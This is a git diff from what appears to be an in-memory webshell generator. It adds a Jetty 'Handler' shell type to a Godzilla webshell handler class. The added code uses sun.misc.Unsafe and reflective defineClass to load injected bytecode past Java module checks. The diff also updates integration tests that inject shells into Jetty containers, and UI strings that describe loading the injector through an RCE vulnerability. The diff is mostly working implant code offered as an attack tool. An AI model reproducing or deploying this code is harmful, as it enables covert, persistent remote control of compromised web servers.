UTF_8.encode(writer.toString()); + invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, callback}); + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return nextHandler.handle(request, response, callback); + } + + // jetty6 + public void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException { + if (handle(request, response)) { + invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true}); + return; + } + if (nextHandler != null) { + nextHandler.handle(target, request, response, dispatch); + } + } + + // jetty7+ + public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { + if (handle(request, response)) { + invokeMethod(baseRequest, "setHandled", new Class[]{boolean.class}, new Object[]{true}); + return; + } + if (nextHandler != null) { + nextHandler.handle(target, baseRequest, request, response); + } + } + + public Class reflectionDefineClass(byte[] classBytes) throws Exception { + Object unsafe = null; + Object rawModule = null; + long offset = 48; + Method getAndSetObjectM = null; + try { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + unsafe = unsafeField.get(null); + rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null); + Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); + Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); + offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); + getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); + getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module); + } catch (Throwable ignored) { + } + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defMethod.setAccessible(true); + Class clazz = (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); + if (getAndSetObjectM != null) { + getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule); + } + return clazz; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) { + return invokeMethod(obj, methodName, null, null); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class) obj).getName() : obj.getClass().getName()) + "." + methodName, e); + } + } + @SuppressWarnings("all") public static String base64Encode(byte[] bs) throws Exception { try { @@ -124,4 +233,4 @@ public class GodzillaJettyHandler extends ClassLoader { } } } -} \ No newline at end of file +} diff --git a/generator/src/main/java/org/eclipse/jetty/server/Connector.java b/generator/src/main/java/org/eclipse/jetty/server/Connector.java new file mode 100644 index 00000000..16996212 --- /dev/null +++ b/generator/src/main/java/org/eclipse/jetty/server/Connector.java @@ -0,0 +1,8 @@ +package org.eclipse.jetty.server; + +/** + * @author ReaJason + * @since 2025/12/2 + */ +public class Connector { +} diff --git a/generator/src/main/java/org/eclipse/jetty/server/Handler.java b/generator/src/main/java/org/eclipse/jetty/server/Handler.java new file mode 100644 index 00000000..ac75372d --- /dev/null +++ b/generator/src/main/java/org/eclipse/jetty/server/Handler.java @@ -0,0 +1,21 @@ +package org.eclipse.jetty.server; + +import org.eclipse.jetty.util.Callback; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/11/29 + */ +public interface Handler { + void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) + throws IOException, ServletException; + + boolean handle(Request request, Response response, Callback callback) throws Exception; + + void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException; +} diff --git a/generator/src/main/java/org/eclipse/jetty/server/HttpConfiguration.java b/generator/src/main/java/org/eclipse/jetty/server/HttpConfiguration.java new file mode 100644 index 00000000..c6b97dcd --- /dev/null +++ b/generator/src/main/java/org/eclipse/jetty/server/HttpConfiguration.java @@ -0,0 +1,11 @@ +package org.eclipse.jetty.server; + +/** + * @author ReaJason + * @since 2025/12/2 + */ +public class HttpConfiguration { + public interface Customizer { + + } +} diff --git a/generator/src/main/java/org/eclipse/jetty/server/Request.java b/generator/src/main/java/org/eclipse/jetty/server/Request.java new file mode 100644 index 00000000..40a79e13 --- /dev/null +++ b/generator/src/main/java/org/eclipse/jetty/server/Request.java @@ -0,0 +1,8 @@ +package org.eclipse.jetty.server; + +/** + * @author ReaJason + * @since 2025/11/29 + */ +public interface Request { +} diff --git a/generator/src/main/java/org/eclipse/jetty/server/Response.java b/generator/src/main/java/org/eclipse/jetty/server/Response.java new file mode 100644 index 00000000..1afa3e12 --- /dev/null +++ b/generator/src/main/java/org/eclipse/jetty/server/Response.java @@ -0,0 +1,8 @@ +package org.eclipse.jetty.server; + +/** + * @author ReaJason + * @since 2025/11/29 + */ +public interface Response { +} diff --git a/generator/src/main/java/org/eclipse/jetty/util/Callback.java b/generator/src/main/java/org/eclipse/jetty/util/Callback.java new file mode 100644 index 00000000..e7dd87a5 --- /dev/null +++ b/generator/src/main/java/org/eclipse/jetty/util/Callback.java @@ -0,0 +1,8 @@ +package org.eclipse.jetty.util; + +/** + * @author ReaJason + * @since 2025/11/29 + */ +public interface Callback { +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java index 97c85518..155ed2d3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java @@ -54,6 +54,7 @@ public class Jetty10ContainerTest { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -70,6 +71,6 @@ public class Jetty10ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V11, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java index b7d3b4bf..2d3b6d6b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java @@ -55,6 +55,7 @@ public class Jetty11ContainerTest { ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -72,6 +73,6 @@ public class Jetty11ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V17, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java index ea0d218b..e2f231ce 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java @@ -55,6 +55,7 @@ public class Jetty12ee10ContainerTest { ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.Base64); @@ -72,6 +73,6 @@ public class Jetty12ee10ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java index 0c61aaae..62849b4e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java @@ -55,6 +55,7 @@ public class Jetty12ee11ContainerTest { ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.Base64); @@ -73,6 +74,6 @@ public class Jetty12ee11ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java index 718a70c3..7b8cdbb1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java @@ -54,6 +54,7 @@ public class Jetty12ee8ContainerTest { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.Base64); @@ -70,6 +71,6 @@ public class Jetty12ee8ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java index b8880926..f490d536 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java @@ -55,6 +55,7 @@ public class Jetty12ee9ContainerTest { ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.Base64); @@ -72,6 +73,6 @@ public class Jetty12ee9ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java index 8f836769..b8a5665f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java @@ -54,6 +54,7 @@ public class Jetty61ContainerTest { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -70,6 +71,6 @@ public class Jetty61ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "6", shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java index a7611d8d..c744b1ea 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java @@ -54,6 +54,7 @@ public class Jetty75ContainerTest { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -69,6 +70,6 @@ public class Jetty75ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty,"7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java index e16acd1c..34cb1683 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java @@ -54,6 +54,7 @@ public class Jetty76ContainerTest { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -69,6 +70,6 @@ public class Jetty76ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java index 74b33994..ee846c4e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java @@ -54,6 +54,7 @@ public class Jetty81ContainerTest { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -69,6 +70,6 @@ public class Jetty81ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java index 4ca2cef9..e90fe42f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java @@ -55,6 +55,7 @@ public class Jetty92ContainerTest { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -71,6 +72,6 @@ public class Jetty92ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java index d531c056..4c1efe1a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java @@ -54,6 +54,7 @@ public class Jetty93ContainerTest { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -70,6 +71,6 @@ public class Jetty93ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java index 2dcddd49..92cf4e92 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java @@ -54,6 +54,7 @@ public class Jetty94ContainerTest { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -70,6 +71,6 @@ public class Jetty94ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/web/src/components/memshell/main-config-card.tsx b/web/src/components/memshell/main-config-card.tsx index 05786513..8b1e12b2 100644 --- a/web/src/components/memshell/main-config-card.tsx +++ b/web/src/components/memshell/main-config-card.tsx @@ -144,18 +144,16 @@ export default function MainConfigCard({ if (value === "TongWeb") { setServerVersionOptions([ ...defaultServerVersionOptions, - { - name: "6", - value: "6", - }, - { - name: "7", - value: "7", - }, - { - name: "8", - value: "8", - }, + { name: "6", value: "6" }, + { name: "7", value: "7" }, + { name: "8", value: "8" }, + ]); + } else if (value === "Jetty") { + setServerVersionOptions([ + ...defaultServerVersionOptions, + { name: "6", value: "6" }, + { name: "7+", value: "7+" }, + { name: "12", value: "12" }, ]); } else { setServerVersionOptions(defaultServerVersionOptions); diff --git a/web/src/i18n/memshell/en.json b/web/src/i18n/memshell/en.json index 8965a5a3..e4e8d50b 100644 --- a/web/src/i18n/memshell/en.json +++ b/web/src/i18n/memshell/en.json @@ -47,7 +47,7 @@ "tips.execute-command1": "Execute the command to inject: java -jar /path/to/agent.jar pid", "tips.get-pid": "Get the process pid of the target jvm (use jps or ps)", "tips.handlerUrlPattern": "HandlerMethod/HandlerFunction type requires a specific URL Pattern, e.g., /hello_handler", - "tips.serverVersion": "serverVersion is required for TongWeb Valve", + "tips.serverVersion": "serverVersion is required", "tips.servletUrlPattern": "Servlet type requires a specific URL Pattern, e.g., /hello_servlet", "tips.shellBytesEmpty": "Shell bytes is empty, please generate shell first", "tips.shellToolNotSelected": "Please select a shell tool type first", @@ -58,4 +58,4 @@ "tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download", "tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection", "tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability" -} +} \ No newline at end of file diff --git a/web/src/i18n/memshell/zh-CN.json b/web/src/i18n/memshell/zh-CN.json index 778a9fd0..73efccf5 100644 --- a/web/src/i18n/memshell/zh-CN.json +++ b/web/src/i18n/memshell/zh-CN.json @@ -47,7 +47,7 @@ "tips.execute-command1": "执行命令进行注入:java -jar /path/to/agent.jar pid", "tips.get-pid": "获取目标 jvm 的进程 pid(使用 jps 或 ps)", "tips.handlerUrlPattern": "HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern,例如 /hello_handler", - "tips.serverVersion": "TongWeb Valve 需要指定 serverVersion", + "tips.serverVersion": "当前挂载类型必须指定 serverVersion", "tips.servletUrlPattern": "Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet", "tips.shellBytesEmpty": "内存马字节码为空,无法下载,请先生成内存马", "tips.shellToolNotSelected": "请先选择内存马工具类型", @@ -58,4 +58,4 @@ "tips.download-jar": "下载 jar 包并上传至公网服务器,使其能通过 http 链接访问下载", "tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 加载 jar 包实现注入", "tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载" -} +} \ No newline at end of file diff --git a/web/src/lib/utils.ts b/web/src/lib/utils.ts index ae962470..923f8965 100644 --- a/web/src/lib/utils.ts +++ b/web/src/lib/utils.ts @@ -78,7 +78,7 @@ export function shouldHidden(shellType: string | undefined) { shellType.endsWith("Valve") || shellType.startsWith("Agent") || shellType.endsWith("Interceptor") || - shellType.endsWith("NettyHandler") || + shellType.endsWith("Handler") || shellType.endsWith("WebFilter") ); } diff --git a/web/src/types/schema.ts b/web/src/types/schema.ts index 4614ecd4..18c307ec 100644 --- a/web/src/types/schema.ts +++ b/web/src/types/schema.ts @@ -99,6 +99,19 @@ export const useYupValidationResolver = ( }; } + if ( + values.server === "Jetty" && + (values.shellType === "Handler" + || values.shellType === "JakartaHandler" + ) && + values.serverVersion === "unknown" + ) { + errors[serverVersion] = { + type: "custom", + message: t("memshell:tips.serverVersion"), + }; + } + return { values, errors,